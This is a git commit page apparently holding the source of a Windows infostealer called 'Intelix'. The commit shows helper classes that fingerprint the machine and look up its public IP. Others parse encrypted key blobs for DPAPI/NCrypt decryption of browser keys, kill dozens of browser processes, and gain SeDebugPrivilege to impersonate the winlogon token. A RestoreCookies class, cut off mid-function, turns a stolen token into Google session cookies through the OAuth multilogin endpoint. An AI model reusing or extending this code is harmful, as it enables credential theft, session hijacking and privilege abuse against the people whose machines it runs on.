initial commit

This commit is contained in:
i2p
2026-08-27 10:55:23 -06:00
commit d03dc0bce1
356 changed files with 18535 additions and 0 deletions
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+14
View File
@@ -0,0 +1,14 @@
namespace Intelix.Helper;
public class BlobParsedData
{
public byte Flag { get; set; }
public byte[] Iv { get; set; }
public byte[] Ciphertext { get; set; }
public byte[] Tag { get; set; }
public byte[] EncryptedAesKey { get; set; }
}
+59
View File
@@ -0,0 +1,59 @@
using System.Threading;
namespace Intelix.Helper;
public struct ConcurrentLong
{
private long _value;
public long Value
{
get
{
return Interlocked.Read(ref _value);
}
set
{
Interlocked.Exchange(ref _value, value);
}
}
public ConcurrentLong(long initial)
{
_value = initial;
}
public static ConcurrentLong operator ++(ConcurrentLong x)
{
Interlocked.Increment(ref x._value);
return x;
}
public static ConcurrentLong operator --(ConcurrentLong x)
{
Interlocked.Decrement(ref x._value);
return x;
}
public static implicit operator long(ConcurrentLong x)
{
return x.Value;
}
public static implicit operator ConcurrentLong(long v)
{
return new ConcurrentLong(v);
}
public static ConcurrentLong operator +(ConcurrentLong x, long y)
{
Interlocked.Add(ref x._value, y);
return x;
}
public static ConcurrentLong operator -(ConcurrentLong x, long y)
{
Interlocked.Add(ref x._value, -y);
return x;
}
}
+32
View File
@@ -0,0 +1,32 @@
using System;
using Microsoft.Win32;
namespace Intelix.Helper;
public static class CpuInfo
{
public static string GetName()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
return (registryKey?.GetValue("ProcessorNameString") as string) ?? (registryKey?.GetValue("VendorIdentifier") as string) ?? "Unknown";
}
catch
{
return "Unknown";
}
}
public static int GetLogicalCores()
{
try
{
return Environment.ProcessorCount;
}
catch
{
return 0;
}
}
}
+186
View File
@@ -0,0 +1,186 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using Microsoft.Win32;
namespace Intelix.Helper;
public static class HwidGenerator
{
private static string _hwid;
private static readonly object _lock = new object();
public static string GetHwid()
{
if (_hwid != null)
{
return _hwid;
}
lock (_lock)
{
if (_hwid != null)
{
return _hwid;
}
List<string> list = new List<string>();
string mg = null;
string cpuName = null;
List<string> vols = null;
List<string> macs = null;
Task task = Task.Run(delegate
{
mg = GetMachineGuid();
});
Task task2 = Task.Run(delegate
{
cpuName = GetCpuName();
});
Task task3 = Task.Run(delegate
{
vols = GetFixedVolumeSerials();
});
Task task4 = Task.Run(delegate
{
macs = GetMacAddresses();
});
Task.WaitAll(task, task2, task3, task4);
if (!string.IsNullOrEmpty(mg))
{
list.Add("MG:" + mg);
}
if (!string.IsNullOrEmpty(cpuName))
{
list.Add("CPU:" + cpuName);
}
list.Add("Cores:" + Environment.ProcessorCount);
if (vols != null && vols.Count > 0)
{
list.Add("VOLS:" + string.Join(",", vols));
}
if (macs != null && macs.Count > 0)
{
list.Add("MACS:" + string.Join(",", macs));
}
list.Add("MN:" + Environment.MachineName);
_hwid = ComputeSha256(string.Join("|", list));
return _hwid;
}
}
private static string ComputeSha256(string input)
{
using SHA256 sHA = SHA256.Create();
byte[] array = sHA.ComputeHash(Encoding.UTF8.GetBytes(input));
StringBuilder stringBuilder = new StringBuilder(array.Length * 2);
byte[] array2 = array;
foreach (byte b in array2)
{
stringBuilder.Append(b.ToString("x2"));
}
return stringBuilder.ToString();
}
private static string GetMachineGuid()
{
try
{
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography"))
{
string text = registryKey?.GetValue("MachineGuid") as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
}
using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).OpenSubKey("SOFTWARE\\Microsoft\\Cryptography");
return (registryKey2?.GetValue("MachineGuid") as string)?.Trim() ?? "";
}
catch
{
return "";
}
}
private static string GetCpuName()
{
try
{
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");
string text = registryKey?.GetValue("ProcessorNameString") as string;
if (!string.IsNullOrEmpty(text))
{
return text.Trim();
}
return (registryKey?.GetValue("VendorIdentifier") as string)?.Trim() ?? "";
}
catch
{
return "";
}
}
private static List<string> GetFixedVolumeSerials()
{
List<string> list = new List<string>();
try
{
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo driveInfo in drives)
{
if (driveInfo.DriveType == DriveType.Fixed && driveInfo.IsReady)
{
StringBuilder stringBuilder = new StringBuilder(261);
StringBuilder stringBuilder2 = new StringBuilder(261);
if (NativeMethods.GetVolumeInformation(driveInfo.RootDirectory.FullName, stringBuilder, stringBuilder.Capacity, out var lpVolumeSerialNumber, out var _, out var _, stringBuilder2, stringBuilder2.Capacity))
{
list.Add(lpVolumeSerialNumber.ToString("X8").ToLowerInvariant());
}
}
}
}
catch
{
}
return list;
}
private static List<string> GetMacAddresses()
{
List<string> list = new List<string>();
try
{
NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
foreach (NetworkInterface networkInterface in allNetworkInterfaces)
{
if (networkInterface.OperationalStatus != OperationalStatus.Up)
{
continue;
}
byte[] addressBytes = networkInterface.GetPhysicalAddress().GetAddressBytes();
if (addressBytes.Length == 0)
{
continue;
}
StringBuilder stringBuilder = new StringBuilder();
for (int j = 0; j < addressBytes.Length; j++)
{
if (j > 0)
{
stringBuilder.Append(':');
}
stringBuilder.Append(addressBytes[j].ToString("x2"));
}
list.Add(stringBuilder.ToString());
}
}
catch
{
}
return list;
}
}
+110
View File
@@ -0,0 +1,110 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
namespace Intelix.Helper;
public static class ImpersonationHelper
{
private class ImpersonationContext : IDisposable
{
public void Dispose()
{
NativeMethods.RevertToSelf();
}
}
private const uint TOKEN_DUPLICATE = 2u;
private const uint TOKEN_IMPERSONATE = 4u;
private const uint TOKEN_QUERY = 8u;
private const uint TOKEN_ADJUST_PRIVILEGES = 32u;
private const uint SecurityImpersonation = 2u;
private const uint TokenImpersonation = 2u;
private const uint SE_PRIVILEGE_ENABLED = 2u;
public static IDisposable ImpersonateWinlogon()
{
IntPtr TokenHandle = IntPtr.Zero;
IntPtr phNewToken = IntPtr.Zero;
try
{
EnableDebugPrivilege();
if (!NativeMethods.OpenProcessToken((Process.GetProcessesByName("winlogon").FirstOrDefault() ?? throw new Exception("Процесс winlogon.exe не найден")).Handle, 14u, out TokenHandle))
{
throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка OpenProcessToken");
}
if (!NativeMethods.DuplicateTokenEx(TokenHandle, 12u, IntPtr.Zero, 2u, 2u, out phNewToken))
{
throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка DuplicateTokenEx");
}
if (!NativeMethods.ImpersonateLoggedOnUser(phNewToken))
{
throw new Win32Exception(Marshal.GetLastWin32Error(), "Ошибка ImpersonateLoggedOnUser");
}
return new ImpersonationContext();
}
catch
{
if (phNewToken != IntPtr.Zero)
{
NativeMethods.CloseHandle(phNewToken);
}
if (TokenHandle != IntPtr.Zero)
{
NativeMethods.CloseHandle(TokenHandle);
}
NativeMethods.RevertToSelf();
throw;
}
}
private static void EnableDebugPrivilege()
{
IntPtr TokenHandle = IntPtr.Zero;
try
{
if (!NativeMethods.OpenProcessToken(NativeMethods.GetCurrentProcess(), 40u, out TokenHandle))
{
int lastWin32Error = Marshal.GetLastWin32Error();
throw new Win32Exception(lastWin32Error, $"Ошибка OpenProcessToken: Код ошибки {lastWin32Error}");
}
NativeMethods.LUID lpLuid = default(NativeMethods.LUID);
if (!NativeMethods.LookupPrivilegeValue(null, "SeDebugPrivilege", ref lpLuid))
{
int lastWin32Error2 = Marshal.GetLastWin32Error();
throw new Win32Exception(lastWin32Error2, $"Ошибка LookupPrivilegeValue: Код ошибки {lastWin32Error2}");
}
NativeMethods.TOKEN_PRIVILEGES NewState = new NativeMethods.TOKEN_PRIVILEGES
{
PrivilegeCount = 1u,
Luid = lpLuid,
Attributes = 2u
};
if (!NativeMethods.AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, (uint)Marshal.SizeOf(typeof(NativeMethods.TOKEN_PRIVILEGES)), IntPtr.Zero, IntPtr.Zero))
{
int lastWin32Error3 = Marshal.GetLastWin32Error();
throw new Win32Exception(lastWin32Error3, $"Ошибка AdjustTokenPrivileges: Код ошибки {lastWin32Error3}");
}
int lastWin32Error4 = Marshal.GetLastWin32Error();
if (lastWin32Error4 != 0)
{
throw new Win32Exception(lastWin32Error4, $"AdjustTokenPrivileges вернул успех, но установил код ошибки {lastWin32Error4}");
}
}
finally
{
if (TokenHandle != IntPtr.Zero)
{
NativeMethods.CloseHandle(TokenHandle);
}
}
}
}
+75
View File
@@ -0,0 +1,75 @@
using System.Net;
using System.Text;
namespace Intelix.Helper;
public static class IpApi
{
private static string _cachedIp;
private static string _cachedCountryCode;
private static readonly object _lock = new object();
public static string GetPublicIp()
{
if (!string.IsNullOrEmpty(_cachedIp))
{
return _cachedIp;
}
lock (_lock)
{
if (!string.IsNullOrEmpty(_cachedIp))
{
return _cachedIp;
}
try
{
using WebClient webClient = new WebClient();
string text = webClient.DownloadString("http://icanhazip.com");
if (!string.IsNullOrEmpty(text))
{
_cachedIp = text.Trim();
}
}
catch
{
_cachedIp = "Request failed";
}
return _cachedIp;
}
}
public static string GetCountryCode()
{
if (!string.IsNullOrEmpty(_cachedCountryCode))
{
return _cachedCountryCode;
}
lock (_lock)
{
if (!string.IsNullOrEmpty(_cachedCountryCode))
{
return _cachedCountryCode;
}
try
{
using WebClient webClient = new WebClient();
webClient.Encoding = Encoding.UTF8;
string response = webClient.DownloadString("http://ip-api.com/line/?fields=countryCode");
if (!string.IsNullOrEmpty(response))
{
_cachedCountryCode = response.Trim();
}
else
{
_cachedCountryCode = "XX";
}
}
catch
{
_cachedCountryCode = "XX";
}
return _cachedCountryCode;
}
}
}
+16
View File
@@ -0,0 +1,16 @@
using System.Threading;
namespace Intelix.Helper;
public static class MutexControl
{
public static Mutex currentApp;
public static bool createdNew;
public static bool CreateMutex(string mtx)
{
currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
return createdNew;
}
}
+194
View File
@@ -0,0 +1,194 @@
using System;
using System.Runtime.InteropServices;
using System.Text;
namespace Intelix.Helper;
public static class NativeMethods
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct CryptprotectPromptstruct
{
public int cbSize;
public int dwPromptFlags;
public IntPtr hwndApp;
public string szPrompt;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct DataBlob
{
public int cbData;
public IntPtr pbData;
}
public struct LUID
{
public uint LowPart;
public int HighPart;
}
public struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID Luid;
public uint Attributes;
}
public struct MEMORYSTATUSEX
{
public uint dwLength;
public uint dwMemoryLoad;
public ulong ullTotalPhys;
public ulong ullAvailPhys;
public ulong ullTotalPageFile;
public ulong ullAvailPageFile;
public ulong ullTotalVirtual;
public ulong ullAvailVirtual;
public ulong ullAvailExtendedVirtual;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct DISPLAY_DEVICE
{
public int cb;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 32)]
public string DeviceName;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string DeviceString;
public uint StateFlags;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string DeviceID;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)]
public string DeviceKey;
}
public struct PROCESS_MEMORY_COUNTERS_EX
{
public uint cb;
public uint PageFaultCount;
public UIntPtr PeakWorkingSetSize;
public UIntPtr WorkingSetSize;
public UIntPtr QuotaPeakPagedPoolUsage;
public UIntPtr QuotaPagedPoolUsage;
public UIntPtr QuotaPeakNonPagedPoolUsage;
public UIntPtr QuotaNonPagedPoolUsage;
public UIntPtr PagefileUsage;
public UIntPtr PeakPagefileUsage;
public UIntPtr PrivateUsage;
}
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool GetProcessMemoryInfo(IntPtr hProcess, out PROCESS_MEMORY_COUNTERS_EX ppsmemCounters, uint cb);
[DllImport("psapi.dll", SetLastError = true)]
public static extern bool EnumProcesses([Out] uint[] lpidProcess, uint cb, out uint lpcbNeeded);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetVolumeInformation(string lpRootPathName, StringBuilder lpVolumeNameBuffer, int nVolumeNameSize, out uint lpVolumeSerialNumber, out uint lpMaximumComponentLength, out uint lpFileSystemFlags, StringBuilder lpFileSystemNameBuffer, int nFileSystemNameSize);
[DllImport("kernel32.dll")]
public static extern bool GlobalMemoryStatusEx(ref MEMORYSTATUSEX lpBuffer);
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
public static extern bool EnumDisplayDevices(string lpDevice, uint iDevNum, ref DISPLAY_DEVICE lpDisplayDevice, uint dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder lpExeName, ref int lpdwSize);
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
public static extern int NCryptOpenStorageProvider(out IntPtr phProvider, string pszProviderName, int dwFlags);
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
public static extern int NCryptOpenKey(IntPtr hProvider, out IntPtr phKey, string pszKeyName, int dwLegacyKeySpec, int dwFlags);
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
public static extern int NCryptDecrypt(IntPtr hKey, byte[] pbInput, int cbInput, IntPtr pPaddingInfo, byte[] pbOutput, int cbOutput, out int pcbResult, int dwFlags);
[DllImport("ncrypt.dll", CharSet = CharSet.Unicode)]
public static extern int NCryptFreeObject(IntPtr hObject);
[DllImport("user32.dll")]
public static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
public static extern IntPtr GetWindowDC(IntPtr hWnd);
[DllImport("user32.dll")]
public static extern int ReleaseDC(IntPtr hWnd, IntPtr hDC);
[DllImport("gdi32.dll")]
public static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool QueryFullProcessImageName(IntPtr hProcess, int dwFlags, StringBuilder exeName, ref uint lpdwSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("crypt32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
public static extern bool CryptUnprotectData(ref DataBlob pDataIn, ref string ppszDataDescr, ref DataBlob pOptionalEntropy, IntPtr pvReserved, ref CryptprotectPromptstruct pPromptStruct, int dwFlags, ref DataBlob pDataOut);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, ref LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, uint BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetCurrentProcess();
}
+66
View File
@@ -0,0 +1,66 @@
using System;
using System.IO;
namespace Intelix.Helper;
public static class ParseKeyBlob
{
public static BlobParsedData Parse(byte[] blobData)
{
using MemoryStream memoryStream = new MemoryStream(blobData);
using BinaryReader binaryReader = new BinaryReader(memoryStream);
uint count = binaryReader.ReadUInt32();
binaryReader.ReadBytes((int)count);
uint num = binaryReader.ReadUInt32();
_ = memoryStream.Position;
byte[] array = null;
byte[] iv = null;
byte[] ciphertext = null;
byte[] tag = null;
if (num == 32)
{
array = binaryReader.ReadBytes(32);
return new BlobParsedData
{
Flag = 32,
Iv = iv,
Ciphertext = ciphertext,
Tag = tag,
EncryptedAesKey = array
};
}
byte b = binaryReader.ReadByte();
switch (b)
{
case 1:
case 2:
iv = binaryReader.ReadBytes(12);
ciphertext = binaryReader.ReadBytes(32);
tag = binaryReader.ReadBytes(16);
return new BlobParsedData
{
Flag = b,
Iv = iv,
Ciphertext = ciphertext,
Tag = tag,
EncryptedAesKey = null
};
case 3:
case 35:
array = binaryReader.ReadBytes(32);
iv = binaryReader.ReadBytes(12);
ciphertext = binaryReader.ReadBytes(32);
tag = binaryReader.ReadBytes(16);
return new BlobParsedData
{
Flag = b,
Iv = iv,
Ciphertext = ciphertext,
Tag = tag,
EncryptedAesKey = array
};
default:
throw new Exception();
}
}
}
+153
View File
@@ -0,0 +1,153 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Threading.Tasks;
namespace Intelix.Helper;
public static class ProcessKiller
{
public static string[] Targets = new string[63]
{
"k-meleon.exe", "thunderbird.exe", "icedragon.exe", "cyberfox.exe", "blackhawk.exe", "palemoon.exe", "ghostery.exe",
"sielo.exe", "conkeror.exe", "msedge.exe", "netscape.exe", "seamonkey.exe", "slimbrowser.exe", "msedge_pwa_launcher.exe", "avant.exe", "opera.exe", "operagx.exe",
"msedgewebview2.exe", "msedgewebview.exe", "chromium.exe", "slimjet.exe", "chrome.exe", "browser.exe", "vivaldi.exe", "brave.exe", "edge.exe", "microsoft.exe",
"dragon.exe", "torch.exe", "yandex.exe", "sputnik.exe", "nichrome.exe", "msedge_proxy.exe", "cocbrowser.exe",
"uran.exe", "msedge_proxy.exe", "chromodo.exe", "atom.exe", "bravebrowser.exe", "steam.exe", "cryptotab.exe", "ghostbrowser.exe", "maelstrom.exe", "kinza.exe",
"globus.exe", "falkon.exe", "elementbrowser.exe", "colibri.exe", "whale.exe", "avastbrowser.exe", "ucbrowser.exe", "maxthon.exe", "blisk.exe", "aolshield.exe",
"baidubrowser.exe", "ccleanerbrowser.exe", "hola.exe", "xvast.exe", "kingpin.exe", "qqbrowser.exe", "private_browsing.exe", "chrome_pwa_launcher.exe", "chrome_proxy.exe"
};
private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u;
private const uint PROCESS_TERMINATE = 1u;
public static void KillerAll()
{
string[] targets = Targets;
if (targets == null || targets.Length == 0)
{
return;
}
HashSet<string> wanted = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
string[] array = targets;
foreach (string text in array)
{
if (string.IsNullOrWhiteSpace(text))
{
continue;
}
string text2 = text.Trim().Replace("\"", string.Empty);
try
{
text2 = Path.GetFileName(text2);
}
catch
{
}
if (!string.IsNullOrEmpty(text2))
{
wanted.Add(text2);
if (!text2.EndsWith(".exe", StringComparison.OrdinalIgnoreCase))
{
wanted.Add(text2 + ".exe");
}
string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text2);
if (!string.IsNullOrEmpty(fileNameWithoutExtension))
{
wanted.Add(fileNameWithoutExtension);
}
}
}
if (wanted.Count == 0)
{
return;
}
List<ProcessWindows.ProcInfo> procInfos = ProcessWindows.GetProcInfos();
if (procInfos == null || procInfos.Count == 0)
{
return;
}
Parallel.ForEach(procInfos, delegate(ProcessWindows.ProcInfo proc)
{
if (proc == null)
{
return;
}
try
{
string text3 = null;
if (!string.IsNullOrEmpty(proc.Path))
{
try
{
text3 = Path.GetFileName(proc.Path);
}
catch
{
text3 = proc.Path;
}
}
if (string.IsNullOrEmpty(text3))
{
text3 = proc.Name ?? string.Empty;
}
string item;
try
{
item = Path.GetFileNameWithoutExtension(text3);
}
catch
{
item = text3;
}
if ((!wanted.Contains(text3) && !wanted.Contains(item)) || !int.TryParse(proc.Pid, out var result) || result == 0 || result == 4)
{
return;
}
IntPtr intPtr = IntPtr.Zero;
try
{
intPtr = NativeMethods.OpenProcess(4097u, bInheritHandle: false, (uint)result);
if (intPtr == IntPtr.Zero)
{
intPtr = NativeMethods.OpenProcess(4096u, bInheritHandle: false, (uint)result);
if (!(intPtr != IntPtr.Zero))
{
return;
}
NativeMethods.CloseHandle(intPtr);
intPtr = NativeMethods.OpenProcess(1u, bInheritHandle: false, (uint)result);
if (intPtr == IntPtr.Zero)
{
return;
}
}
try
{
NativeMethods.TerminateProcess(intPtr, 1u);
}
catch
{
}
}
finally
{
try
{
if (intPtr != IntPtr.Zero)
{
NativeMethods.CloseHandle(intPtr);
}
}
catch
{
}
}
}
catch
{
}
});
}
}
+250
View File
@@ -0,0 +1,250 @@
using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Intelix.Helper;
public static class ProcessWindows
{
public class ProcInfo
{
public string Name { get; set; }
public string Pid { get; set; }
public string Path { get; set; }
public string Memory { get; set; }
}
private static readonly Lazy<List<ProcInfo>> _procInfos = new Lazy<List<ProcInfo>>(BuildCache, isThreadSafe: true);
public static List<ProcInfo> GetProcInfos()
{
return new List<ProcInfo>(_procInfos.Value);
}
public static List<string> FindFolder(string folderName)
{
if (string.IsNullOrWhiteSpace(folderName))
{
return new List<string>();
}
ConcurrentDictionary<string, byte> concurrentDictionary = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
SearchNearby(folderName, isDirectory: true, concurrentDictionary);
return new List<string>(concurrentDictionary.Keys);
}
public static List<string> FindFile(string fileName)
{
if (string.IsNullOrWhiteSpace(fileName))
{
return new List<string>();
}
ConcurrentDictionary<string, byte> concurrentDictionary = new ConcurrentDictionary<string, byte>(StringComparer.OrdinalIgnoreCase);
SearchNearby(fileName, isDirectory: false, concurrentDictionary);
return new List<string>(concurrentDictionary.Keys);
}
private static void SearchNearby(string target, bool isDirectory, ConcurrentDictionary<string, byte> found, int maxUp = 3)
{
if (string.IsNullOrEmpty(target))
{
return;
}
List<ProcInfo> value = _procInfos.Value;
if (value == null || value.Count == 0)
{
return;
}
string t = target.Trim();
Parallel.ForEach(value, delegate(ProcInfo proc)
{
try
{
string path = proc.Path;
if (!string.IsNullOrEmpty(path))
{
string directoryName = Path.GetDirectoryName(path);
if (!string.IsNullOrEmpty(directoryName))
{
for (int i = 0; i < maxUp; i++)
{
if (string.IsNullOrEmpty(directoryName))
{
break;
}
string path2 = Path.Combine(directoryName, t);
if (isDirectory)
{
if (Directory.Exists(path2))
{
try
{
found.TryAdd(Path.GetFullPath(path2), 0);
}
catch
{
}
}
}
else if (File.Exists(path2))
{
try
{
found.TryAdd(Path.GetFullPath(path2), 0);
}
catch
{
}
}
directoryName = Path.GetDirectoryName(directoryName);
}
}
}
}
catch
{
}
});
}
private static List<ProcInfo> BuildCache()
{
ConcurrentDictionary<string, ProcInfo> result = new ConcurrentDictionary<string, ProcInfo>(StringComparer.OrdinalIgnoreCase);
uint num = 4096u;
uint[] pids = new uint[num];
if (!NativeMethods.EnumProcesses(pids, num * 4, out var lpcbNeeded))
{
num = 65536u;
pids = new uint[num];
if (!NativeMethods.EnumProcesses(pids, num * 4, out lpcbNeeded))
{
return new List<ProcInfo>();
}
}
int num2 = (int)(lpcbNeeded / 4);
if (num2 <= 0)
{
return new List<ProcInfo>();
}
ThreadLocal<StringBuilder> sbLocal = new ThreadLocal<StringBuilder>(() => new StringBuilder(1024));
Parallel.For(0, num2, delegate(int i)
{
uint num3 = pids[i];
if (num3 == 0 || num3 == 4)
{
return;
}
IntPtr intPtr = IntPtr.Zero;
try
{
intPtr = NativeMethods.OpenProcess(5136u, bInheritHandle: false, (int)num3);
if (!(intPtr == IntPtr.Zero))
{
string text = null;
try
{
StringBuilder value = sbLocal.Value;
value.Clear();
uint lpdwSize = (uint)value.Capacity;
if (NativeMethods.QueryFullProcessImageName(intPtr, 0, value, ref lpdwSize))
{
text = value.ToString(0, (int)lpdwSize);
}
}
catch
{
}
string text2 = null;
if (!string.IsNullOrEmpty(text))
{
try
{
text2 = Path.GetFileNameWithoutExtension(text);
}
catch
{
text2 = text;
}
}
else
{
text2 = "";
}
string text3 = "";
try
{
NativeMethods.PROCESS_MEMORY_COUNTERS_EX ppsmemCounters = default(NativeMethods.PROCESS_MEMORY_COUNTERS_EX);
ppsmemCounters.cb = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESS_MEMORY_COUNTERS_EX));
if (NativeMethods.GetProcessMemoryInfo(intPtr, out ppsmemCounters, ppsmemCounters.cb))
{
text3 = FormatBytes((long)ppsmemCounters.WorkingSetSize.ToUInt64());
}
}
catch
{
}
ProcInfo procInfo = new ProcInfo
{
Name = SafeString(text2),
Pid = num3.ToString(),
Path = SafeString(text),
Memory = (text3 ?? "")
};
string key = procInfo.Path + "|" + procInfo.Pid;
result.TryAdd(key, procInfo);
}
}
catch
{
}
finally
{
try
{
if (intPtr != IntPtr.Zero)
{
NativeMethods.CloseHandle(intPtr);
}
}
catch
{
}
}
});
sbLocal.Dispose();
return new List<ProcInfo>(result.Values);
}
private static string SafeString(string s)
{
if (!string.IsNullOrEmpty(s))
{
return s;
}
return "";
}
private static string FormatBytes(long bytes)
{
if (bytes >= 1073741824)
{
return ((double)bytes / 1073741824.0).ToString("0.##") + " GB";
}
if (bytes >= 1048576)
{
return ((double)bytes / 1048576.0).ToString("0.##") + " MB";
}
if (bytes >= 1024)
{
return ((double)bytes / 1024.0).ToString("0.##") + " KB";
}
return bytes + " B";
}
}
+29
View File
@@ -0,0 +1,29 @@
using System;
using System.Linq;
namespace Intelix.Helper;
public static class RandomStrings
{
private const string Ascii = "abcdefghijklmnopqrstuvwxyz";
private static readonly Random Random = new Random();
public static string GenerateHashTag()
{
return " #" + GenerateString();
}
public static string GenerateString()
{
return GenerateString(5);
}
public static string GenerateString(int length)
{
char c = "abcdefghijklmnopqrstuvwxyz"[Random.Next("abcdefghijklmnopqrstuvwxyz".Length)];
char[] value = (from s in Enumerable.Repeat("abcdefghijklmnopqrstuvwxyz", length - 1)
select s[Random.Next(s.Length)]).ToArray();
return c + new string(value);
}
}
+45
View File
@@ -0,0 +1,45 @@
using System;
using System.Collections.Generic;
using Microsoft.Win32;
namespace Intelix.Helper;
public static class RegistryParser
{
public static List<string> ParseKey(RegistryKey key)
{
List<string> list = new List<string>();
if (key == null)
{
return list;
}
string[] valueNames = key.GetValueNames();
foreach (string text in valueNames)
{
object value = key.GetValue(text);
string text2;
switch (key.GetValueKind(text))
{
case RegistryValueKind.Binary:
text2 = ((!(value is byte[] array)) ? "null" : BitConverter.ToString(array).Replace("-", ""));
break;
case RegistryValueKind.DWord:
case RegistryValueKind.QWord:
text2 = value.ToString();
break;
case RegistryValueKind.String:
case RegistryValueKind.ExpandString:
text2 = value?.ToString() ?? "null";
break;
case RegistryValueKind.MultiString:
text2 = ((!(value is string[] value2)) ? "null" : string.Join(", ", value2));
break;
default:
text2 = value?.ToString() ?? "null";
break;
}
list.Add(text + ": " + text2);
}
return list;
}
}
+180
View File
@@ -0,0 +1,180 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
namespace Intelix.Helper;
public static class RestoreCookies
{
public class Account
{
public string type { get; set; }
public string display_name { get; set; }
public string display_email { get; set; }
public string photo_url { get; set; }
public bool selected { get; set; }
public bool default_user { get; set; }
public int authuser { get; set; }
public bool valid_session { get; set; }
public string obfuscated_id { get; set; }
public bool is_verified { get; set; }
}
public class Cookie
{
public string name { get; set; }
public string value { get; set; }
public string domain { get; set; }
public string path { get; set; }
public bool isSecure { get; set; }
public bool isHttpOnly { get; set; }
public int maxAge { get; set; }
public string priority { get; set; }
public string sameParty { get; set; }
public string sameSite { get; set; }
public string host { get; set; }
}
public class Root
{
public string status { get; set; }
public List<Cookie> cookies { get; set; }
public List<Account> accounts { get; set; }
}
private static string SendPostRequest(string token)
{
try
{
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive");
httpWebRequest.Method = "POST";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token);
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n";
string s = "";
byte[] bytes = Encoding.UTF8.GetBytes(s);
